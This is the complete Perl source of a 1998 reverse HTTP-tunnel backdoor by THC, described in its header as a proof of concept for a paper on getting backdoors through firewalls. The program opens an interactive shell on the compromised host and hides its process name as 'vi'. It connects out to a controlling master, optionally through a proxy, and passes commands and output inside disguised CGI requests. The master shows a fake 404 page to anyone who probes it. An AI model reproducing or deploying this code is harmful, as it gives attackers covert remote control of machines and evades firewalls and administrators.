home *** CD-ROM | disk | FTP | other *** search
- #!/usr/bin/perl
- #
- # Reverse-WWW-Tunnel-Backdoor v1.6
- # (c) 1998 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
- # Check out http://r3wt.base.org for updates
- # Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls"
- # available at the website above in the "Articles" section.
- #
-
- # Greets to all THC, ADM, arF and #bluebox guys
-
- # verified to work on Linux, Solaris, AIX and OpenBSD
-
- # BUGS: some Solaris machines: select(3) is broken, won't work there
- # on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
- # we can't make proper receive checks here. Workaround implemented.
- #
- # HISTORY:
- # v1.6: included www-proxy authentication ;-))
- # v1.4: porting to various unix types (and I thought perl'd be portable...)
- # v1.3: initial public release of the paper including this tool
-
- #
- # GENERAL CONFIG (except for $MASK, everything must be the same
- # for MASTER and SLAVE is this section!)
- #
- $CGI_PREFIX="/cgi-bin/order?"; # should look like cgi. "?" as last char!
- $MASK="vi"; # for masking the program's process name
- $PASSWORD="THC"; # anything, nothing you have to rememeber
- # (not a real "password" anyway)
- #
- # MASTER CONFIG (specific for the MASTER)
- #
- $LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080)
- $SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!)
-
- #
- # SLAVE CONFIG (specific for the SLAVE)
- #
- $SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh)
- $DELAY="3"; # time to wait for output after your command(s)
- #$TIME="00:01"; # time when to connect to the master (unset if now)
- #$DAILY="yes"; # tries to connect once daily if set with something
- #$PROXY="127.0.0.1"; # set this with the Proxy if you must use one
- #$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one
- #$PROXY_USER="user"; # username for proxy authentication
- #$PROXY_PASSWORD="pass"; # password for proxy authentication
- #$DEBUG=""; # for debugging purpose, turn off when in production
- $BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris
-
- # END OF CONFIG # nothing for you to do after this point #
-
- ################## BEGIN MAIN CODE ##################
-
- require 5.002;
- use Socket;
-
- $|=1; # next line changes our process name
- if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }
- undef $DAILY if (! $TIME);
- if ( !($PROXY) || !($PROXY_PORT) ) {
- undef $PROXY;
- undef $PROXY_PORT;
- }
- $protocol = getprotobyname('tcp');
-
- if ($ARGV[0] ne "") {
- if ($ARGV[0] eq "-h") {
- print STDOUT "no commandline option : daemon mode\n";
- print STDOUT "using \"-h\" as option : this help\n";
- print STDOUT "any other option : slave mode\n";
- exit(0);
- } else {
- print STDOUT "starting in slave mode\n";
- $SLAVE_MODE = "yeah";
- }
- }
-
- if (! $SLAVE_MODE) {
- &master;
- } else {
- &slave;
- }
- # END OF MAIN FUNCTION
-
- ############### SLAVE FUNCTION ###############
-
- sub slave {
- $pid = 0;
- if ($PROXY) { # setting the real config (for Proxy Support)
- $REAL_SERVER = $PROXY;
- $REAL_PORT = $PROXY_PORT;
- $REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT
- . $CGI_PREFIX;
- $PROXY_SUFFIX = "Pragma: no-cache\n";
- if ( $PROXY_USER && USER_PASSWORD ) {
- &base64encoding;
- $PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE;
- }
- } else {
- $REAL_SERVER = $SERVER;
- $REAL_PORT = $LISTEN_PORT;
- $REAL_PREFIX = "GET " . $CGI_PREFIX;
- }
- AGAIN: if ($pid) { kill 9, $pid; }
- if ($TIME) { # wait until the specified $TIME
- $TIME =~ s/^0//; $TIME =~ s/:0/:/;
- (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
- = localtime(time);
- $t=$hour . ":" . $min;
- while ($TIME ne $t) {
- sleep(28); # every 28 seconds we look at the watch
- (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
- = localtime(time);
- $t=$hour . ":" .$min;
- }
- }
- print STDERR "Slave activated\n" if $DEBUG;
- if ($DAILY) { # if we must connect daily, we'll
- if (fork) { # fork the daily shell process to
- sleep(69); # ensure the master control process
- goto AGAIN; # won't get stuck by a fucking cmd
- } # the user executed.
- print STDERR "forked\n" if $DEBUG;
- }
- $address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
- $remote = sockaddr_in($REAL_PORT, $address);
- $forked = 0;
- GO: close(THC);
- socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
- or die "can't create socket\n";
- setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
- if (! $forked) { # fork failed? fuck, let's try again
- pipe R_IN, W_IN; select W_IN; $|=1;
- pipe R_OUT, W_OUT; select W_OUT; $|=1;
- $pid = fork;
- if (! defined $pid) {
- close THC;
- close R_IN; close W_IN;
- close R_OUT; close W_OUT;
- goto GO;
- }
- $forked = 1;
- }
- if (! $pid) { # this is the child process (execs $SHELL)
- close R_OUT; close W_IN; close THC;
- print STDERR "forking $SHELL in child\n" if $DEBUG;
- open STDIN, "<&R_IN";
- open STDOUT, ">&W_OUT";
- open STDERR, ">&W_OUT";
- exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
- close R_IN; close W_OUT;
- exit(0);
- } else { # this is the parent (data control + network)
- close R_IN;
- sleep($DELAY); # we wait $DELAY for the commands to complete
- vec($rs, fileno(R_OUT), 1) = 1;
- print STDERR "before: allwritten2stdin\n" if $DEBUG;
- select($r = $rs, undef, undef, 30);
- print STDERR "after : wait for allwritten2stdin\n" if $DEBUG;
- sleep(1); # The following readin of the command output
- $output = ""; # looks weird. It must be! every system
- vec($ws, fileno(W_OUT), 1) = 1; # behaves different :-((
- print STDERR "before: readwhiledatafromstdout\n" if $DEBUG;
- while (select($w = $ws, undef, undef, 1)) {
- read R_OUT, $readout, 1 || last;
- $output = $output . $readout;
- }
- print STDERR "after : readwhiledatafromstdout\n" if $DEBUG;
- print STDERR "before: fucksunprob\n" if $DEBUG;
- vec($ws, fileno(W_OUT), 1) = 1;
- while (! select(undef, $w=$ws, undef, 0.001)) {
- read R_OUT, $readout, 1 || last;
- $output = $output . $readout;
- }
- print STDERR "after : fucksunprob\n" if $DEBUG;
- print STDERR "send 0byte to stdout, fail->exit\n" if $DEBUG;
- print W_OUT "\000" || goto ENDE;
- print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG;
- while (1) {
- read R_OUT, $readout, 1 || last;
- last if ($readout eq "\000");
- $output = $output . $readout;
- }
- print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG;
- &uuencode; # does the encoding of the shell output
- $encoded = $REAL_PREFIX . $encoded;
- $encoded = $encoded . $PROXY_SUFFIX if ($PROXY);
- $encoded = $encoded . "\n";
- print STDERR "connecting to remote, fail->exit\n" if $DEBUG;
- connect(THC, $remote) || goto ENDE; # connect to master
- print STDERR "send encoded data, fail->exit\n" if $DEBUG;
- send (THC, $encoded, 0) || goto ENDE; # and send data
- $input = "";
- vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
- print STDERR "before: wait4answerfromremote\n" if $DEBUG;
- while (! select($r = $rt, undef, undef, 0.00001)) {}
- print STDERR "after : wait4answerfromremote\n" if $DEBUG;
- print STDERR "read data from socket until eod\n" if $DEBUG;
- $error="no";
- while (1) { # read until EOD (End Of Data)
- print STDERR "?" if $DEBUG;
- # OpenBSD 2.2 can't recv here! can't get any data! sucks ...
- recv (THC, $readin, 1, 0) || undef $error;
- if ((! $error) and (! $BROKEN_RECV)) { goto OK; }
- print STDERR "!" if $DEBUG;
- goto OK if (($readin eq "\000") or ($readin eq "\n")
- or ($readin eq ""));
- $input = $input . $readin;
- }
- OK: print STDERR "\nall data read, entering OK\n" if $DEBUG;
- $input =~ s/\n//gs;
- &uudecode; # decoding the data from the master
- print STDERR "if password not found -> exit\n" if $DEBUG;
- goto ENDE if ( $decoded =~ m/^$PASSWORD/s == 0);
- $decoded =~ s/^$PASSWORD//;
- print STDERR "writing input data to $SHELL\n" if $DEBUG;
- print W_IN "$decoded" || goto ENDE; # sending the data
- sleep(1); # to the shell proc.
- print STDERR "jumping to GO\n" if $DEBUG;
- goto GO;
- }
- ENDE: kill 9, $pid; $pid = 0;
- exit(0);
- } # END OF SLAVE FUNCTION
-
- ############### MASTER FUNCTION ###############
-
- sub master {
- socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
- or die "can't create socket\n";
- setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
- bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
- listen(THC, 3) || die "can't listen\n"; # print the HELP
- print STDOUT '
- Welcome to the Reverse-WWW-Tunnel-Backdoor v1.6 by van Hauser / THC ...
-
- Introduction: Wait for your SLAVE to connect, examine it\'s output and then
- type in your commands to execute on SLAVE. You\'ll have to
- wait min. the set $DELAY seconds before you get the output
- and can execute the next stuff. Use ";" for multiple commands.
- Trying to execute interactive commands may give you headache
- so beware. Your SLAVE may hang until the daily connect try
- (if set - otherwise you lost).
- You also shouldn\'t try to view binary data too ;-)
- "echo bla >> file", "cat >> file <<- EOF", sed etc. are your
- friends if you don\'t like using vi in a delayed line mode ;-)
- To exit this program on any time without doing harm to either
- MASTER or SLAVE just press Control-C.
- Now have fun.
- ';
-
- YOP: print STDOUT "\nWaiting for connect ...";
- $remote=accept (S, THC) || goto YOP; # get the connection
- ($r_port, $r_slave)=sockaddr_in($remote); # and print the SLAVE
- $slave=gethostbyaddr($r_slave, AF_INET); # data.
- $slave="unresolved" if ($slave eq "");
- print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
- select S; $|=1;
- select STDOUT; $|=1;
- $input = "";
- vec($socks, fileno(S), 1) = 1;
- $error="no";
- while (1) { # read the data sent by the slave
- while (! select($r = $socks, undef, undef, 0.00001)) {}
- recv (S, $readin, 80, 0) || undef $error;
- if ((! $error) and (! $BROKEN_RECV)) {
- print STDOUT "[disconnected]\n";
- }
- $readin =~ s/\r//g;
- $input = $input . $readin;
- last if ( $input =~ m/\n\n/s );
- }
- &hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 );
- $input =~ s/^.*($CGI_PREFIX)\??//s;
- $input =~ s/\n.*$//s;
- &uudecode; # decoding the data from the slave
- &hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 );
- $decoded =~ s/^$PASSWORD//s;
- $decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
- print STDOUT "$decoded"; # showing the slave output to the user
- $output = <STDIN>; # and get his input.
- &uuencode; # encode the data for the slave
- send (S, $encoded, 0) || die "\nconnection lost!\n"; # and send it
- close (S);
- print STDOUT "sent.\n";
- goto YOP; # wait for the next connect from the slave
- } # END OF MASTER FUNCTION
-
- ###################### MISC. FUNCTIONS #####################
-
- sub uuencode { # does the encoding stuff for error-free data transfer via WWW
- $output = $PASSWORD . $output; # PW is for error checking and
- $uuencoded = pack "u", "$output"; # preventing sysadmins from
- $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-' # sending you weird
- /'zcadefghjklmnopqrstuv' # data. No real
- /; # security!
- $uuencoded =~ tr/"'"/'b'/;
- if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb
- $codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
- $cut_length = 4099 - (length $REAL_PREFIX);
- $uuencoded = pack "a$cut_length", $uuencoded
- if ($codelength > 4111);
- }
- $encoded = $uuencoded;
- $encoded = $encoded . " HTTP/1.0\n" if ($SLAVE_MODE);
- } # END OF UUENCODE FUNCTION
-
- sub uudecode { # does the decoding of the data stream
- $input =~ tr/'zcadefghjklmnopqrstuv'
- /'\n)=(:;&><,#$*%]!\@"`\\\-'
- /;
- $input =~ tr/'b'/"'"/;
- $decoded = unpack "u", "$input";
- } # END OF UUDECODE FUNCTION
-
- sub base64encoding { # does the base64 encoding for proxy passwords
- $encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD;
- $encoded_string = substr(pack('u', $encode_string), 1);
- chomp($encoded_string);
- $encoded_string =~ tr|` -_|AA-Za-z0-9+/|;
- $padding = (3 - length($encode_string) % 3) % 3;
- $encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding;
- $PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n";
- } # END OF BASE64ENCODING FUNCTION
-
- sub hide_as_broken_webserver { # invalid request -> look like broken server
- send (S, "<HTML><HEAD>\n<TITLE>404 File Not Found</TITLE>\n</HEAD>".
- "<BODY>\n<H1>File Not Found</H1>\n</BODY></HTML>\n", 0);
- close S;
- print STDOUT "Warning! Illegal server access!\n"; # report to user
- goto YOP;
- } # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION
-
- # END OF PROGRAM # (c) 1998 by <vh@reptile.rug.ac.be>
-